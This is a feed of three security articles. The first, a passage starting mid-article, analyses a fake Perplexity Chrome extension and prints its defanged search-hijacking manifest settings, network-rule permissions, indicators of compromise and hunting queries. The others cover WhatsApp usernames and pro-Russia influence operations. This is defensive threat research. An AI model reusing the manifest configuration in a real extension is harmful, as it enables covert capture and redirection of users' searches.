It appears to spoof the publicly available Perplexity service by using similar branding elements and a typosquatted domain. The said domain mismatch might increase the likelihood of user confusion regarding the extension’s source or affiliation.

Figure 1: Landing page of perplexity-ai[.]online.

Figure 2: Details of the extension on Chrome Store.

Based on our analysis, the extension has been classified as malicious due to observed search redirection behavior. The analyzed extension’s manifest declares itself as the following:

"search_provider": {
    "name": "Perplexity Search"
}

It uses the following infrastructure:

"search_url": https://perplexity-ai[.]online/search/{searchTerms}

The extension also forces itself as the browser default search provider:

"is_default": true

At first glance, the extension appears to provide AI-enhanced search functionality. However, analysis of the manifest reveals multiple suspicious behaviors and permissions inconsistent with legitimate AI search assistants.

Figure 3. Manifest.json configuration of the analyzed extension.

Figure 4. Manifest.json configuration of the analyzed extension (continued).

Key indicators of malicious behavior

Typosquatted infrastructure

The extension uses the domain perplexity-ai[.]online, which is similar to the legitimate Perplexity AI service’s domain (perplexity[.]ai). This pattern is consistent with domain naming approaches often frequently observed in phishing campaigns, search hijackers, fake AI applications, and extension malware.

Previous research has discussed how browser extensions might use branding similar to trusted services because:

• Users associate AI tools with productivity and legitimacy
• AI-related extensions currently experience high install rates
• Users are less suspicious of browser-integrated AI assistants

Browser search hijacking

The extension overrides browser search settings through chrome_settings_overrides to replace the browser default search provider as well as intercept and redirect all queries in a Chromium browser’s Omnibox to an intermediary infrastructure not associated with the official vendor domain:

"chrome_settings_overrides": { 
  "search_provider": { 
    "name": "Perplexity Search", 
    "keyword": "perplexity", 
    "is_default": true, 
    "search_url": "hxxps://perplexity-ai[.]online/search/{searchTerms}", 
    "favicon_url": "hxxps://perplexity-ai[.]online/favicon.ico", 
    "suggest_url": "hxxps://perplexity-ai[.]online/search?output=firefox&q={searchTerms}" 
  } 
} 

Critically, the suggest_url field also routes through perplexity-ai[.]online. This means real-time search suggestions—every character typed in the address bar—are transmitted to an attacker-controlled infrastructure before any redirect occurs. This constitutes active user surveillance (keystroke-level capture) beyond simple search redirection.

Although Chromium-based browsers permit search provider overrides for legitimate use cases, Google explicitly states that extensions requesting settings overrides along with additional powerful capabilities might violate the browser’s single-purpose policy.

Abuse of declarativeNetRequest

The extension requests powerful DNR permissions that enable traffic redirection, URL rewriting, and selective request filtering, which aren’t consistent with expected AI assistant behavior:

"permissions": 
[
  "declarativeNetRequest",
  "declarativeNetRequestFeedback",
  "declarativeNetRequestWithHostAccess"
]

These permissions provide specific capabilities exploited by this extension:

• declarativeNetRequest: Redirects all main_frame requests matching perplexity-ai[.]online/search/(.*) to legitimate search engines, creating a two-hop chain where the attacker server processes the query before the browser is redirected.
• declarativeNetRequestFeedback: Allows the extension to programmatically monitor which redirect rules fire, effectively confirming exfiltration success for each intercepted query.
• declarativeNetRequestWithHostAccess: Combined with host_permissions for ://perplexity-ai.online/, enables full request interception capabilities on the attacker-controlled domain. This behavior might enable traffic redirection and related activity depending on implementation.

The use of these permissions in an AI-themed search extension is particularly concerning because a legitimate search UI generally doesn’t require advanced network-manipulation APIs.

Search rewrite infrastructure

Multiple rule sets indicate modular traffic hijacking capability across providers such as Perplexity, Google, and Bing:

"rule_resources": [
  {
    "id": "perplexity",
    "enabled": true,
    "path": "perplexity-rules.json"
  },
  {
    "id": "bing",
    "enabled": false,
    "path": "bing-rules.json"
  },
  {
    "id": "google",
    "enabled": false,
    "path": "google-rules.json"
  }
]

This architecture enables modular traffic redirection controlled by the background service worker. The two-hop redirect design is critical to understanding the threat model:

1. Browser sends query to perplexity-ai[.]online (attacker server logs query, HTTP headers, IP, user-agent)
2. DNR rule immediately redirects browser to legitimate engine (perplexity[.]ai, google[.]com, or bing[.]com)
3. User sees normal search results, completely unaware of interception

The data theft occurs on hop 1, not on the redirect (hop 2). The server-side code (server.js) shipped with the extension explicitly logs all incoming requests including full headers, confirming the data collection intent. This activity aligns with behaviors observed in modern browser hijackers and ad-fraud ecosystems.

Host permissions

The extension requests host access to intermediary infrastructure not associated with the official vendor domain, enabling data interception and telemetry exposure:

"host_permissions":
 [
  "*://perplexity-ai[.]online/*"
]

Content security policy

The extension declares the following:

"content_security_policy": {"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self';"} 

The inclusion of wasm-unsafe-eval is unusual for a search-redirect extension because it permits WebAssembly (Wasm) execution within extension pages. Although no Wasm modules were observed in version 2.2, the presence of this directive enables future Wasm-based functionality without requiring modifications to the extension’s content security policy configuration.

Dynamic analysis findings

Upon installation, the extension opens hxxps://extension.tilda[.]ws/perplexityai, presenting target users with an onboarding page designed to resemble a legitimate product setup flow. Similar onboarding techniques have been observed in extension-based adware and search-redirection campaigns, where they’re used to increase user trust and reduce scrutiny of subsequent browser modifications.

Figure 5. Onboarding page launched by the extension after installation.

The runtime workflow we’ve observed demonstrates browser search redirection behavior:

1. User enters search query into the Omnibox.
2. Browser request routed to perplexity-ai[.]online.
   • Server logs full request: query string, HTTP headers, user-agent, and source IP address.
   • suggest_url captures real-time keystrokes during typing (before Enter is pressed)
3. Ruleset executes redirect.
4. User is delivered to selected search provider.

Unusually, this extension ships with its own server-side infrastructure code, revealing the complete attack architecture:

• server.js (Node.js proxy)
  • Logs all incoming requests including method, URL, and full HTTP headers.
  • Proxies’ suggestion queries to suggestqueries.google[.]com.
  • Adds permissive CORS headers (Access-Control-Allow-Origin: *) to enable cross-origin responses.
• nginx.conf
  • Configures perplexity-ai[.]online with Let’s Encrypt SSL.
  • Proxies /search endpoint to Google suggestions API.
  • Filters CORS origins exclusively to *.oda[.]digital (operator infrastructure).
  • Forces HTTP-to-HTTPS redirect.

This server-side code is definitive evidence that query interception and logging is architecturally intentional, not an incidental by-product of the redirect mechanism.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Restrict the installation of untrusted browser extensions by enforcing allow‑listing and enterprise policy controls within managed environments.
• Encourage users to verify extension publishers, domains, and branding—particularly for AI-themed tools commonly leveraged in social engineering scenarios.
• Monitor unauthorized changes to browser search settings, unusual extension permissions, and outbound traffic to intermediary or non-standard domains associated with search activity. Controls that identify or flag extensions requesting search override capabilities or network-related APIs can help reduce potential risk exposure. Continuous inspection of extension behavior, alongside reputation-based methods, might also provide improved visibility into anomalous or potentially unwanted activity.
• Leverage platform-level protections to further reduce risk:
  • Microsoft Edge includes built-in capabilities designed to identify and respond to potentially malicious or unwanted extensions that attempt to manipulate browser behavior, including search redirection. Depending on configuration and risk signals, Edge might restrict or block extension execution.
    The Microsoft Edge Add-ons store also uses automated and manual review processes to assess extensions before and after publication, while ongoing monitoring enables identification and removal of extensions that violate policies—helping reduce user exposure to emerging threats.
  • Microsoft Defender SmartScreen provides reputation-based protection for URLs and web content, helping detect and block access to domains associated with malicious or deceptive activity.

Microsoft Defender detections

Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence. 

Tactic	Observed activity	Microsoft Defender coverage
Discovery	Presence of suspicious or unverified browser extension identifiers	– Detection of unknown or low-reputation extension artifacts – Monitoring extension-related files through endpoint telemetry
Command and Control (C2)	Outbound communication to suspicious or lookalike domains associated with redirection infrastructure	– Detection of connections to suspicious or low-reputation domains   –  Network telemetry correlation identifying intermediary infrastructure

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:   

• Incident investigation: Assist analysts in investigating alerts, correlating signals, and supporting analysis of extension-related activity to intermediary domains such as perplexity-ai[.]online.
• Microsoft User analysis: Support analysis of potentially impacted users whose browser search activity has been intercepted or redirected by malicious extensions.

Advanced hunting queries

NOTE: The following sample queries lets you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential related indicators for more than a week, go to the Advanced Hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.

Look for the presence of the malicious extension through file artifacts:

DeviceFileEvents
| where FileName has "flkebkiofojicogddingbdmcmkpbplcd" 
   or FolderPath has "flkebkiofojicogddingbdmcmkpbplcd"
| summarize Count = count() by DeviceName, DeviceId, FolderPath

Look for outbound network communication to intermediary infrastructure not associated with the official vendor domain:

DeviceNetworkEvents
| where RemoteUrl has "perplexity-ai.online"
| summarize Count = count() by DeviceName, DeviceId, InitiatingProcessAccountName, RemoteUrl

MITRE ATT&CK techniques observed

Tactic	Observed activity
Initial Access	User installs malicious Chromium extension using branding and naming similar to the Perplexity AI service from browser ecosystem
Execution	Extension executes MV3 logic and DNR rules to intercept and control traffic
Persistence	Extension forces itself as default search provider using chrome_settings_overrides (is_default=true)
Defense Evasion	Uses legitimate MV3 APIs (DNR rules) to hide malicious behavior inside browser-native logic
Input Capture	Real-time search suggestions (keystrokes) are captured through suggest_url and routed to attacker domain
Command and Control	Browser queries are routed to an intermediary infrastructure not associated with the official vendor domain acting as intermediary

Indicators of compromise

Indicator	Type	Description
perplexity-ai[.]online	Domain	Typosquatted domain used for search redirection
flkebkiofojicogddingbdmcmkpbplcd	Extension ID	Malicious Chromium extension
extension.tilda[.]ws/perplexityai	URL	Installation onboarding page

References

• Phishing Via Typosquatting and Brand Impersonation: Trends and Tactics – Zscaler
• Overriding Chrome Settings

This research is provided by Microsoft Defender Security Research,  Asutosha Panigrahi, Ashwani Kumar, Mohd Sadique, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Chromium extension uses AI‑related branding to redirect browser search appeared first on Microsoft Security Blog.

from Microsoft Security Blog https://ift.tt/FoQl03t
via IFTTT

WhatsApp is Finally Getting Usernames to Help Keep Phone Numbers Private

WhatsApp on Monday officially announced the start of global reservations of usernames with an aim to protect the privacy of more than three billion users on the messaging platform.

The optional feature is designed to help users connect with someone on the service through usernames, as opposed to directly sharing their phone numbers. Username reservations will start rolling out starting today, enabling users to create and reserve a username before the feature becomes generally available later this year.

"You choose your own, and it doesn't have to match your handle on any other app," the Meta-owned messaging app said in a statement shared with The Hacker News ahead of publication.

"At its core, it's a privacy feature, not a social media handle – there's no directory to browse and no suggestions, so people need to know your exact username to contact you for the first time."

As it goes without saying, choosing a username should be unique. WhatsApp said it will provide a username generator to assist users with picking one.

Users also have the option to set up a username key for an extra layer of protection, which requires someone to know it the first time when they attempt to contact them.

A Meta spokesperson told The Hacker News that username keys provide an extra layer of protection by letting users control who can reach them on WhatsApp with their username. "Others will need to know not only your exact username but also your key to message you for the first time with your username," the spokesperson said. "You can reset your key at any time to cut off new inbound contact."

Content creators, small businesses, and organizations that may want to maintain a consistent online presence across platforms can choose to claim their existing Instagram or Facebook username on WhatsApp.

The major benefit of this change is that once it's enabled, other accounts can no longer view or access a user's phone number. Users can reserve a username by navigating to: Settings > Account > Username.

"We'll be rolling out usernames gradually over the coming months and will notify you in WhatsApp when they're available in your country," WhatsApp said.

The development comes more than two years after Signal announced a username feature in its messaging app as a way to shield phone numbers from others.

from The Hacker News https://ift.tt/DhPTZJm
via IFTTT

The Bear Necessities: A Look at the Drivers, Dynamics, and Applications of the Pro-Russia Influence Ecosystem

Written by: James Sadowski, Alden Wahlstrom

---

Introduction

Four years into Russia’s full-scale invasion of Ukraine, the pro-Russia influence ecosystem has evolved from a tool of war back into a global strategic asset. Since the mobilization of this ecosystem to support frontline objectives, we have witnessed the expedited development of new influence assets linked to multiple, expansive, covert information operations (IO) campaigns and a revitalization of pro-Russia hacktivism at an unprecedented scale. While this threat activity initially adapted to encompass Ukraine-related priorities, it is gradually pivoting back to established Russian influence objectives for which the ecosystem was originally honed. This shift is significant because it likely signals increased focus outside of Ukraine, warning that pro-Russia influence activity targeting the European Union (EU), North Atlantic Treaty Organization (NATO), and other top targeting priorities may intensify. 

Ultimately, the war in Ukraine has provided a critical feedback loop for Russia to refine its influence activity, lessons that we anticipate will be applied as the ecosystem continues to reorient toward global strategic objectives while maintaining focus on Ukraine. Further, recent pro-Russia IO indicates the continued expansion of already diverse tactics, and the increasing use of generative AI tooling for planning, research, and content creation marks a forward trend in pro-Russia IO. Meanwhile, new and different actors have adopted IO tactics to meet an increasingly diverse set of challenges, signaling growing Russian reliance on influence tactics. Together, these trends likely demonstrate the Kremlin's perception of these tactics as cost effective and successful. The interconnected nature of the ecosystem's disparate components makes it resilient to limited scope disruptions, which defenders must consider to effectively mitigate pro-Russia influence threats. 

The Ecosystem at a Glance: Objectives, Targeting, and Tactics

Russia's modern approach to information operations is built on the conceptual foundation of Soviet-era "active measures" adapted for the digital age. Alongside disruptive cyberattacks dating back to the early 2000s, the Kremlin has increasingly harnessed internet-based platforms for espionage and information operations. Russia's approach has evolved from rudimentary, singular operations into a complex, self-sustaining environment intentionally curated by the Russian Government that blends overt, covert, and independent elements to advance Kremlin interests both at home and abroad.

Core Influence Objectives 

GTIG’s observations suggest the primary strategic motivations driving the pro-Russia influence ecosystem fall into five categories, each aiming to achieve military and/or political objectives through psychological manipulation of the target audience (Figure 1). Collectively, these objectives informally depict a global influence strategy: through the furthest reach of its influence, the Kremlin seeks to diminish Western primacy and advance Russia's global position; within its surrounding region, it strives to retain and return Moscow's dominance; and at home, it works to ensure the stability of the political regime.

Figure 1: Core objectives of the pro-Russia influence ecosystem

Targeting 

Pro-Russia influence operations are pivoting from the near singular focus on Ukraine that dominated the ecosystem since 2022. We expect influence operations advancing Russia's war-specific interests to continue. However, as Russia seeks to reemerge from international isolation, we have increasingly observed a concurrent focus on pre-war pro-Russia influence objectives. 

The current and historical targeting scope of each ecosystem component exposes both the Kremlin's global ambitions and the realistic limitations of its power projection. State-owned media organizations produce content intended to serve populations across six continents, but in recent years, sanctions and other factors have limited its production and distribution. Meanwhile, covert operations have appeared more limited in scope, primarily targeting the West and countries surrounding Russia, with intermittent operations targeting the Middle East and Africa, indicating that finite resources necessarily limit these operations (Figure 2).

Top Regional Targets

• The United States and Europe: The Kremlin has long viewed the West as a top adversary of Russia. Accordingly, the US and Europe are top targets of covert pro-Russia information operations, especially aimed at undermining political stability within these countries and the unity between them. NATO and the EU embody the collective "West" and are Russia's perceived top adversaries, second only to the US independently.

• Russia's "Near Abroad": Since the dissolution of the Soviet Union, Moscow has asserted that the countries that formerly comprised part of the USSR now reside in Russia's so-called "sphere of influence." Covert influence targeting this region directly reflects Moscow's assertion that Russia is a world power entitled to special privileges within its neighborhood. 

• The Middle East and Africa: Over the past decade, Russian efforts to reassert itself as a global power have included high-profile investments in cultivating Russia's standing in the Middle East and Africa. Covert pro-Russia influence activity is likely deployed in tandem as intended support for other Russian initiatives in these regions.  

• Russia Domestic: Internally targeted covert IO is a well-established component of pro-Russia influence activity, deployed by regime-aligned actors to promote Kremlin policies and repress opposition voices. 

Targeted Entities and Global Events

• The Olympics: Russia has long viewed Olympic participation as a point of national prestige, and GTIG has observed notable Russian influence activity targeting the Olympics in the face of Russian participation bans. 

• War in Ukraine: The war in Ukraine has been a key driver of Russia's influence activity, including attempts to influence events on the ground as well as influence activity intended to advance Moscow's interests elsewhere vis-a-vis the war. GTIG expects that Ukraine will remain a priority in Russia's targeting calculus during the post-conflict phase following any future peace agreements.

• Elections: Election targeting aligns with multiple Russian influence objectives, including attempting to undermine confidence in democratic institutions as well as internally weakening perceived Western adversaries. These operations regularly target elections in countries that are already prioritized by ongoing pro-Russia influence activity. 

• Ad Hoc Geopolitical Flashpoints and Global Events: Russian influence actors have a history of pivoting activity to engage with emerging geopolitical developments and events, such as the COVID-19 pandemic or the 2026 Middle East conflict. This flexible target selection often overlaps or is aligned with other Russian priorities, making previously observed Russian influence activity helpful in anticipating which events may be appropriated.

Figure 2: Priority targets of the ecosystem

Tactics 

Converging geopolitical and technological developments make the evolution of pro-Russia influence tactics a particularly important space to monitor right now. The pro-Russia influence ecosystem expanded to support the war effort, bringing change across the spectrum of activity and providing operators the opportunity to hone their tactics, techniques, and procedures (TTPs) in the rapid feedback loop of war. Meanwhile, the emergence and increased democratization of generative AI tooling has brought both promised and already realized opportunities to support all phases of the IO lifecycle. The following are a sample of key tactics that illustrate how pro-Russia actors currently blend well-tested methods with new technological developments to reach audiences through diverse means:

• Generative AI: GTIG has observed pro-Russia influence actors increasingly leverage AI tooling to support different stages of their operations, including support for planning and general research as well as content creation.

• Google Threat Intelligence Group (GTIG) is closely tracking the transition from nascent AI-enabled operations to the maturing, industrial-scale application of generative models within adversarial workflows across threats ranging from espionage and crime to IO. Please see our latest AI threat tracker for more information on how this threat is developing based on our insights, and what Google is doing to protect our customers. 

• Narrative Resonance: Hijacking existing ideological and emotional fissures within a society provides pro-Russia influence actors tailored narratives to target audiences and potentially increases potential engagement and impact. 

• Cyber-Enabled IO: Influence campaigns frequently coincide with destructive cyberattacks, such as the deployment of wiper malware alongside website defacements containing false surrender messages, or the historic use of "hack and leak" campaigns in which exfiltrated data, sometimes manipulated, is then publicized through an actor-controlled false persona. In some instances, Russian actors may even leverage direct cyber espionage targeting as a way to achieve psychological effects, intending to influence victims' behavior through intimidation.

• Media Mimicry: Pro-Russia actors have attempted to mimic legitimate media at scale and through a variety of means, including via the wholesale appropriation of legitimate media brands or developing inauthentic media brands that generally masquerade as independent news sources. These tactics are intended to add a veneer of legitimacy to the promoted narratives. 

• Direct Dissemination: Pro-Russia influence actors have used closed communication channels, such as emails, SMS text messages, and messenger apps, to disseminate various types of pro-Russia narratives as an adjunct to or outside typical social media-focused operations. 

Core Ecosystem Components 

The current pro-Russia influence ecosystem operates across a spectrum from official government communications to deniable covert actions conducted by intelligence services and "patriotic" proxies. GTIG identified six core components that represent key activity types (Figure 3). While many elements are state-directed or state-affiliated, the ecosystem is also a cultivated, self-sustaining system: various actors, often without explicit direction, amplify Kremlin-friendly narratives and pursue actions that advance Russia's strategic interests. This fluidity provides resilience and complicates attribution, mirroring the longstanding Kremlin strategy to co-opt non-state actors, including criminal networks for finance or illicit logistics, to achieve state objectives without direct attribution. Although each of the core ecosystem components serves as a unique lever the Russian Government can employ to achieve desired objectives, they are regularly used together. For instance, while the entire pro-Russia hacktivist landscape is not state-sponsored, the Russian intelligence services have used both genuine and fabricated hacktivist personas to launder stolen data as part of blended cyber espionage and IO hybrid operations.

Figure 3: Core components of the pro-Russia influence ecosystem

An Interconnected Ecosystem Enhances Influence Utility

Figure 4 illustrates the complex, interconnected nature of the pro-Russia influence ecosystem by mapping relationships between a selection of key actors and organizations across five of the core components. The ecosystem functions as a cohesive unit, not only through shared objectives, but also through direct cross-component interactions. The Russian Government functions as the sixth core ecosystem component, setting the policy and talking points that inform the ecosystem’s promoted narratives and sponsoring overt and covert assets throughout the other five components diagrammed in Figure 4. Through these levers, the Kremlin fosters the cross-component links that underpin the ecosystem, enhancing its overall utility as a versatile tool of state influence.

Figure 4: Subset of actors that illustrate how different components of the ecosystem interact with each other

10 Key Dynamics for Understanding the Pro-Russia Influence Ecosystem

The scope and diversity of activity in the pro-Russia influence ecosystem challenges defenders tasked with enumerating, tracking, and countering its threats. GTIG has distilled 10 key ecosystem dynamics based on our current understanding of its components and how they each enable covert influence activity. These dynamics frame critical aspects of how activity manifests within the ecosystem, providing a high-level guide to understand and track these threats.

Large-scale IO campaigns are an integral element of the pro-Russia influence ecosystem. Major pro-Russia IO campaigns have been an enduring feature of the pro-Russia ecosystem, with new campaigns emerging as previous ones fall into inactivity. Maintaining extensive IO campaigns and their associated established influence infrastructure enables proactive messaging on strategic issues and underpins a capability that can be rapidly adapted for emerging domestic and global priorities.

• Long-established IO campaigns, like Secondary Infektion, pivoted to meet new strategic needs as Russia’s 2022 invasion of Ukraine began. New IO campaigns, such as “Operation Overload,” subsequently emerged to support the war effort; while Secondary Infektion has become dormant, these “successor” campaigns have since been leveraged to advance other global Russian influence objectives beyond the war itself. 

Pro-Russia actors often prioritize persistence and the range of tactics they leverage reflects this. In the face of public exposure and disruption, pro-Russia actors and their infrastructure have often remained persistent, sometimes making tactical adjustments to mitigate the effects of detection and disruption and other times continuing operations unabated. 

• These persistence tactics include the Doppelganger campaign and overt Russian media’s respective cycling of domain infrastructure and/or use of mirror domains to overcome exposure, platform bans and sanctions. Influence operators also frequently continue using compromised assets, sometimes mocking their exposure, as seen with the legacy US-targeted NAEBC campaign and the APT44-affiliated hacktivist persona XakNet Team.

Figure 5: NAEBC-linked persona account mocking public exposure of influence assets (left), and GRU-sponsored XakNet Team persona mocking then-Mandiant (now part of Google Threat Intelligence Group) attribution of the group’s activities to the GRU (right)

Pro-Russia and Russian cyber espionage groups leverage IO tactics to support their operations and weaponize stolen data and/or illicit access. While less frequent, this hybrid activity is a critical dynamic within the pro-Russia influence ecosystem. GTIG has previously observed operations used to shape narratives around cyberattacks and influence events on the ground and to conduct foreign political interference, including the repeated targeting of foreign elections, reported in Spring 2024. We have attributed some observed instances of this to Russian government-sponsored threat actors.

• Russian state sponsored or pro-Russia hacktivist groups have long relied on public advertisement of real or claimed data exfiltration to highlight their operations, intimidate targets, or sway public opinion. In 2022, UNC4057 (COLDRIVER) used data stolen from espionage targets in a high profile hack-and-leak operation seeking to exacerbate divisions in UK politics. More recently, the self-proclaimed hacktivist group PalachPro claimed in February 2026 to have gained unauthorized access to a Ukrainian government online portal and publicly posted screenshots of the claimed compromise. The Ukrainian government has previously noted that the portal does not store the type of data the threat actor claimed to compromise, suggesting the public posting was likely intended as influence activity, attempting to create the illusion of a more serious threat.

Figure 6: UNC4057 leak website attempting to inflame public debate

Pro-Russia hacktivists serve a direct influence function. Modern pro-Russia hacktivism has evolved into an important component of the influence ecosystem that blends state-backed actors leveraging hacktivist tactics with an evolving cohort of likely third-party hacktivist actors that support Russia's geopolitical interests. Pro-Russia hacktivist groups gain domestic and foreign attention for strategic messaging via their claimed threat activity, amplify narratives directly seeded in overt ecosystem segments, and at times also support traditional IO activity or create a means of plausible deniability for state-sponsored espionage actors. 

• The self-proclaimed hacktivist group NoName057(16) emerged following the Russian invasion of Ukraine in 2022, primarily targeting Ukraine and its partners and allies with DDoS attacks and various network intrusions. It has targeted high profile events, such as the Milano Cortina Winter Olympics, institutions like the French National Assembly, and critical infrastructure and transportation targets in Germany. Often their messaging cites grievances with overt acts of Western support for Kyiv, suggesting the group advances Russian interests not only through the targeting of perceived Russian adversaries but also in gaining attention for its pro-Russia messaging. 

Established ecosystem components facilitate the cultivation of new assets and activity. Inter-ecosystem cross-promotion helps overcome challenges of audience building by directing traffic toward new assets, operations, and narratives, enabling rapid deployment of new and existing IO capabilities. This directly supports a self-sustaining cycle that maintains and expands the ecosystem. 

• The hacktivist persona JokerDNR played a significant role in amplifying the APT44-linked persona Solntsepek when its doxxing-focused Telegram channel first launched and then again as it began claiming cyber espionage activity. 

Domestic Russian audiences are a longstanding target of the pro-Russia influence ecosystem. Internally directed influence activity has often involved the promotion of Kremlin policies and talking points and the denigration of opposition voices and ideas, conducted by both overt and covert segments of the ecosystem. 

• Ahead of Russia’s March 2024 presidential election, GTIG identified the hybrid espionage and influence actor UNC5101 register domains and conduct associated influence operations attempting to deceive Russian opposition voters about the timing of an anti-Putin protest.

Ecosystem actors respond to the same set of internal shifting circumstances and external geopolitical developments, often leading to seemingly similar, but ultimately distinct, activity. These shared drivers and general motivational alignments encourage actors to "spontaneously" coalesce around a particular topic or narrative. While this can appear superficially similar, this phenomenon is distinct from instances of actor coordination and campaign linkages, which is less common. 

Systemic flexibility is a central feature, with influence assets able to mobilize both incrementally and at scale to advance Russian interests. The Russian Government is able to mobilize assets across the ecosystem to respond to strategic events. Meanwhile, individual or aligned actors can separately mobilize to address tactical needs, allowing the ecosystem to concurrently message on multiple issues across different geographies (Figure 7). 

• Russia demonstrated its ability to focus the ecosystem on a single strategic issue like the Russian invasion of Ukraine. Simultaneously, discrete assets have addressed tactical events, such as when Portal Kombat briefly promoted narratives about a Russian drone incursion into Poland concurrently with other covert pro-Russia influence activity.

Figure 7: Tactical responses are executed by individual or coordinated/aligned clusters of actors to address emerging developments

Overt Russian media contributes to, and is connected with, multiple covert influence components. The overt components of Russia's influence infrastructure play a critical role within the broader Russian influence ecosystem beyond the commonly understood function of providing a public platform for government-aligned narratives and official talking points; overt media helps to drive (inform targeting) and amplify covert pro-Russia influence activity, seeding desirable narratives within the ecosystem and providing an indirect conduit between the Kremlin and a disparate array of influence actors. Overt media outlets have directly coordinated their activity with covert actors and have increasingly employed IO tactics to disseminate their own content in the face of sanctions and platform bans (Figure 8). 

• US Government sanctions in late 2024 indicated that Russian state media company Russia Today (RT) directly conducted covert influence operations, including on behalf of the Russian intelligence services. Further, RT employees reportedly interacted with members of the self-proclaimed hacktivist group RaHDit, which has claimed to collaborate with multiple other pro-Russia hacktivist groups, illustrating the layered connections between overt media, Russian intelligence services, and hacktivist groups.

Figure 8: Overt Russian media maintains multiple links with the covert segments of the ecosystem

Outsourcing IO capability development and campaign execution to third-party organizations and proxies enables scaling and obfuscation. Outsourcing is used for developing custom tooling and bolstering both human and organizational capacity. While custom tool development facilitates operators in all phases of the IO lifecycle, Russian government actors can flexibly leverage different models for outsourcing campaign execution based on their specific needs. Proxy actors can also generate plausible deniability (Figure 9). 

• GTIG reported how Russian IT contractor NTC Vulkan (Russian: НТЦ Вулкан) worked with the Russian intelligence services, including providing tooling and support for the GRU unit that sponsors APT44 activity. Separately, US government sanctions detailed how the Doppelganger campaign is supported by multiple Russian contractors under the sponsorship of the Russian Presidential Administration.

Figure 9: Outsourcing and proxies support capability development and campaign execution for covert influence activity

Conclusion

Multiple factors are propelling the evolution of the pro-Russia influence ecosystem we have observed since Moscow’s full scale invasion of Ukraine four years ago. The Kremlin mobilized the entire ecosystem to support the ongoing conflict, which has provided rapid feedback and driven significant investment in new and established overt and covert influence assets. At the same time, pro-Russia actors are increasingly experimenting with generative AI to enhance their workflows. This condensed period of adaptation, alongside signals suggesting Russia's growing reliance on IO tactics to navigate new challenges, raises concerns regarding how a potentially diversifying pool of actors will leverage advancements in tradecraft and scalability. As Russia seeks to emerge from international isolation and reorients its influence ecosystem back toward global objectives, it is critical for defenders to understand how this ecosystem provides the Kremlin with a durable influence capability in order to better anticipate future Russian influence threats.

Additional Tools and Resources

For mitigation and hardening recommendations, please review the following:

• How to Understand and Action Mandiant's Intelligence on Information Operations

• Proactive Preparation and Hardening to Protect Against Destructive Attacks

• Linux Endpoint Hardening to Protect Against Malware and Destructive Attacks

• Distributed Denial of Service (DDoS) Protection Recommendations

Google offers a suite of free of cost tools to help protect high-risk users from the most pervasive digital attacks, to which politicians, journalists, and campaigns are often most vulnerable. Examples include protecting accounts from targeted attacks with Advanced Protection Program and safeguarding campaign websites from DDoS attacks with Project Shield.

from Threat Intelligence https://ift.tt/q1KA9u4
via IFTTT